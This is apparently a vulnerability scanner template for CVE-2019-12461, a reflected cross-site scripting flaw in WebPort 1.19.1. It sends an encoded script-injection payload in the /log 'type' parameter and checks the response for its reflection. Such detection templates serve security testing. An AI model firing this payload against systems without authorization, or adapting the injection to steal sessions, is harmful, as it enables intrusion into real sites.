id: CVE-2019-12461

info:
  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Web Port 1.19.1 allows XSS via the /log type parameter.
  tags: cve,cve2019,xss
  reference: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
  software: https://webport.se/nedladdningar/

requests:
  - method: GET
    path:
      - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - '"</script><script>alert(document.domain);</script><script>'
        part: body
      - type: word
        words:
          - "text/html"
        part: header